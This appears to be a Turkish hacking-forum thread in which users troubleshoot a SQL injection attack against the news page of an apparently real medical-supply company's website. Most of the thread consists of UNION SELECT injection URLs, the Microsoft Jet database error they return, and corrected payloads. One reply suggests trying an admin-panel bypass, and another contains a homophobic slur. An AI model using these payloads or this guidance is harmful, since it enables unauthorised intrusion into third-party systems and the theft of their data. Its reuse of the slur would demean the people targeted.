Sql İnjections
-
sa benim burda yapmış olduğum yanlış nedir. çözemedim.
http://abc-medikal.com/medabc/haberler.asp?id=14+union+select+1,2,3,4,5,6,7,8,9+from+users
-
Root-Sistemci bunu yazdı:
-----------------------------
sa benim burda yapmış olduğum yanlış nedir. çözemedim.
http://abc-medikal.com/medabc/haberler.asp?id=14+union+select+1,2,3,4,5,6,7,8,9+from+users
-----------------------------Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'users'. Make sure it exists and that its name is spelled correctly.
users kolonu mevcut değilmiş
-
ben yanlış mı sorgulama yaptım. yoksa kolon mevcut olmadığından dolayı mı bu hatayı alıyorum sürekli
-
Root-Sistemci bunu yazdı:
-----------------------------
ben yanlış mı sorgulama yaptım. yoksa kolon mevcut olmadığından dolayı mı bu hatayı alıyorum sürekli
-----------------------------aynen öyle admin panelini biliyorsan bypass dene derim
-
users diye bi tablo olmadığından alıyosun
http://abc-medikal.com/medabc/haberler.asp?id=14+union+select+1,2,3,4,5,6,7,8+from+haberler
-
http://abc-medikal.com/medabc/haberler.asp?id=14+%20union%20select%200,1,2,3,4,5,6,7%20from%20haberler
bu şekilde ilerleme yaptığımızda birşey çıkar mı peki
-
Root-Sistemci bunu yazdı:
-----------------------------
http://abc-medikal.com/medabc/haberler.asp?id=14+%20union%20select%200,1,2,3,4,5,6,7%20from%20haberler
bu şekilde ilerleme yaptığımızda birşey çıkar mı peki
-----------------------------haberleri çekersin
bi işine yararmı bilmem
-
adamı niye oynatıyonuz lan ahaha kardeşim sen de biraz kafanı kullan
-
emirhan-exp bunu yazdı:
-----------------------------
adamı niye oynatıyonuz lan ahaha kardeşim sen de biraz kafanı kullan
-----------------------------zaten işin içinde bir ibnelik var. tahmin edebiliyorum. bahalım
-
editlendi
